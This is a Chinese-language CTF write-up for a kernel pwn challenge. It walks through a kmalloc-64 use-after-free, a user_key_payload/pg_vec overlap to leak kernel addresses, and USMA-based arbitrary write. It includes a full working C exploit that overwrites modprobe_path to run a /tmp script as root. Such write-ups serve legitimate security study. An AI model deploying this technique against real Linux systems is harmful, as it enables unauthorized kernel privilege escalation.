13 min to read
强网拟态 2025 初赛 ker writeup

这道题感觉非常耗脑子啊… 也是当时我们唯一没做出来的 pwn 题hhh (还记得队友那道 shellcode 题做到了凌晨5点,有被狠狠卷到(笑)
也是一次性的学了 user_key_payload 和 USMA 的利用,但是这个整体的利用思路感觉可能对我来说还是有点难想到吧(学到是学了,但是不知道有没有学会…可能眼睛学会了?(心虚))
漏洞
一个 UAF 洞,好像 kernel 题比较多的还是 UAF…
但是限制比较多,只能申请一次,是 kmalloc-64,有两次 free 这个 chunk 的机会,可以改这个 chunk 的前 0x8 个字节
思路
对于 kmalloc-64,可以用的结构体只有 msg_msg,user_key_payload 和 setxattr,在这里我们用 user_key_payload 进行利用
其中,msg_msg的申请带了 GFP_KERNEL_ACCOUNT 标志,而我们申请内存是 kmalloc_trace(kmalloc_caches[6], 0xCC0LL, 0x28LL);
其中 GFP_KERNEL_ACCOUNT 定义为 #define GFP_KERNEL_ACCOUNT (GFP_KERNEL | __GFP_ACCOUNT)
,我们申请显然没带该标志,所以申请出来的堆是隔离开的
leak
user_key_payload 的两大作用分别如下:
- 大量申请 user_key_payload 然后 revoke,他会调用析构函数,但是申请出来的堆块 free 的时候,堆上还会残留内核地址,从而达到 堆喷内核地址 的作用
- 如果有 UAF 可以改掉 user_key_payload 的长度字段的话,可以内核堆越界读,这个和 msg_msg 的用法也有点类似
所以常常这两点结合来 leak 内核地址
我们期望先用 user_key_payload 占住堆内存,但是因为只能修改前 0x8 字节,所以改不到我们的 len 字段
于是我们再 free 一次,用 USMA 中的 pg_vec 占住堆块,此时相当于是一个 pg_vec 的块和一个 user_key_payload 字段重合,该堆块被覆盖为一个个虚拟页的地址,而 user_key_payload 的 size 字段是 offset 0x10 开始的两个字节,有较大概率已经被覆盖为一个较大的数,结合堆喷的内核地址,可以进行泄露
如果单独从 leak 这步讲,更方便的方法无疑是在再 free 一次之后用 setxattr 申请出来改 len,但是之后很难结合 edit 进行利用
对于 user_key_payload 的申请长度,调用 add_key syscall 时,内核根据 payload_len 会有两次内存申请。第一次申请长度为 payload_len,第二次在 user_preparse() 函数中,申请长度为 payload_len + 0x18 来放 struct user_key_payload 结构体arbituary write
用 USMA 的方法进行 arbitrary write,这个故事是这样的
- 是用的 packet_socket 的板子进行堆申请和地址 mmap,参考 这篇文章
为了加速数据在用户态和内核态的传输,packet socket可以创建一个共享环形缓冲区,这个环形缓冲区通过alloc_pg_vec()创建
可以看到pg_vec实际上是一个保存着连续物理页的虚拟地址的数组,而这些虚拟地址会被packet_mmap()函数所使用,packet_mmap()将这些内核虚拟地址代表的物理页映射进用户态(行4502) 而调用 mmap 传入的 fd 参数为 socket 返回的文件描述符时,则会调用 packet_mmap 进行映射
所以不难想到,如果我们改该 pg_vec 中的虚拟地址为想去写的内核地址,则调用 mmap 时,就会存在我们的目标内核地址又被映射到用户态,从而我们在用户态正大光明的写该 mmap 返回的地址,同时就会改到目标内核态地址 (感觉这一步让我想到了前些天见到的 Windows MmMapIoSpace abuse (cve-2021-33104) 但是原理并不相同) - 这样就存在一个问题:我们 alloc_pg_vec() 时,申请的堆大小是否可控?能否申请到我们的 kmalloc-64 堆块?
答案是可以的,详见 学姐的博客 ,在 alloc_pg_vec 中,根据用户态传入的block_nr,申请block_nr*8大小的内存
所以思路是我们申请 packet_socket,然后用 UAF edit 前8字节的方法改掉其中某个页的起始地址为某内核 0x1000 对齐的地址,接着 mmap 出来,就能达到 “我们在用户态正大光明的写该 mmap 返回的地址,同时就会改到目标内核态地址” 的效果
然后亲试,该步需要堆喷cat flag
用 modprobe_path 把内核任意地址写转为 cat flag,详见 这篇博客
exp
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <linux/keyctl.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <sched.h>
#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
#define KEYCTL_UPDATE 2 /* update a key */
#define KEYCTL_REVOKE 3 /* revoke a key */
#define KEYCTL_UNLINK 9 /* unlink a key from a keyring */
#define KEYCTL_READ 11 /* read a key or keyring's contents */
#define HEAP_SPRAY_COUNT 200
size_t kernel_offset,kernel_base;
size_t user_cs, user_rflags, user_sp, user_ss;
int f1;
char c[48];
void** ptr;
char tmp_x[0x10];
unsigned long long tmp_buf[0x10];
char tmp_buf1[0xb010];
int test_id[HEAP_SPRAY_COUNT+0x10];
size_t page_addresses[216];
// vuln driver operations
void delete(void** ptr){
ioctl(f1,48,ptr);
}
void edit(void** ptr){
ioctl(f1,80,ptr);
}
void create(void** ptr){
ioctl(f1,32,ptr);
}
// user key payload operations
int key_alloc(char *description, void *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int keyid, void *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int key_read(int keyid, void *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
// common functions
void save_status(void)
{
asm volatile ("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
sleep(0.3);
system("cat flag");
exit(0);
}
#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif
void die(const char *msg) {
perror(msg);
exit(1);
}
// ------------------- USMA 板子 start -------------------
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
die("setsockopt(PACKET_VERSION): %m");
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
die("setsockopt(PACKET_RX_RING): %m");
}
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;
if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) {
puts("FAILED to create a new namespace");
exit(-1);
}
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
die("socket(AF_PACKET): %m");
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
die("bind(AF_PACKET): %m");
}
return s;
}
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}
// ------------------- USMA 板子 end -------------------
int main(){
bind_core(0);
unshare_setup(); // need to call this or socket(AF_PACKET) will fail
save_status();
f1 = open("/dev/ker",2);
*(long long*)c = c + 1;
create(c);
delete(c);
int payload_size = 0x1f;
char payload[0x1f] = {0};
// spray: step 1
int i = 0;
int occupy_idx = 0;
srand((unsigned)time(NULL));
char * tmp_desc = (char*)malloc(20);
memset(tmp_desc, 0, 20);
for(i =0; i < HEAP_SPRAY_COUNT; i++){
snprintf(tmp_desc, 20, "a%x", rand());
test_id[i] = key_alloc(tmp_desc,payload,payload_size);
}
// free again
delete(c);
// do usma, occupy the chunk again with kernel addresses
int pfds[200];
for(i = 0; i < 200; i++){
pfds[i] = pagealloc_pad(8, 0x1000);
if(pfds[i] < 0){
perror("pfds");
break;
}
}
// address leak with key_read with user_key_payload
// get the one who occupies the chunk
for(i = 0; i < HEAP_SPRAY_COUNT; i++){
if(key_read(test_id[i], tmp_buf1, 0xb000) > 0x28){
occupy_idx = i;
break;
}
}
printf("occupy_idx: %d\n",occupy_idx);
// **need to revoke all the other keys to spray kernel address on kernel heap first!**
for(i = 0; i < HEAP_SPRAY_COUNT; i++){
if(i == occupy_idx) continue;
key_revoke(test_id[i]);
}
key_read(test_id[occupy_idx], tmp_buf1, 0xb000);
// get the kernel address from tmp_buf1
// get the first address starting at 0x850
// 0xffffffffa4408850 0xffffffffa3e00000
for(int i=0;i<0xb000/8;i++){
if(((unsigned long long*)tmp_buf1)[i] > 0xffffffff00000000ull){
printf("leak: %p at offset %d\n", ((long long*)tmp_buf1)[i],i);
printf("offset: %p\n",(((long long*)tmp_buf1)[i] & 0xfff ));
if((((long long*)tmp_buf1)[i] & 0xfff )== 0x850){
printf("find kernel base!\n");
kernel_base = ((unsigned long long*)tmp_buf1)[i] - 0x4408850 + 0x3e00000;
kernel_offset = kernel_base - 0xFFFFFFFF81000000;
break;
}
}
}
printf("kernel_base = %p\n",kernel_base);
printf("kernel offset = %p\n",kernel_offset);
size_t modprobe_path = 0xFFFFFFFF831D8CE0 + kernel_offset;
size_t modprobe_path_page = modprobe_path & 0xfffffffffffff000;
size_t address = &modprobe_path_page;
edit(&address);
// mmap a lot, have to spray or will fail
for(int i=0;i<200;i++){
page_addresses[i] = (size_t)mmap(0,0x1000*8,PROT_READ|PROT_WRITE,MAP_SHARED,pfds[i],0);
}
memcpy(tmp_x,"/tmp/x",0x10);
for (int i = 0; i < 200; i++){
memcpy((void*)page_addresses[i] + 0xce0,tmp_x,0x10); // edit the kernel address at the same time
}
// trigger
get_flag();
return 0;
}
总结
可以 mark 一下这个任意写的方法 ~
快春节了,新年快乐吖 ~
reference
总体思路参考较多:https://www.ctfiot.com/211007.html
https://vul.360.net/archives/391
https://blingblingxuanxuan.github.io/2023/02/06/230206-rwctf2023-digging-into-kernel-3/
https://blingblingxuanxuan.github.io/2023/04/01/230401-n1ctf2022-pwn-praymoon/
Comments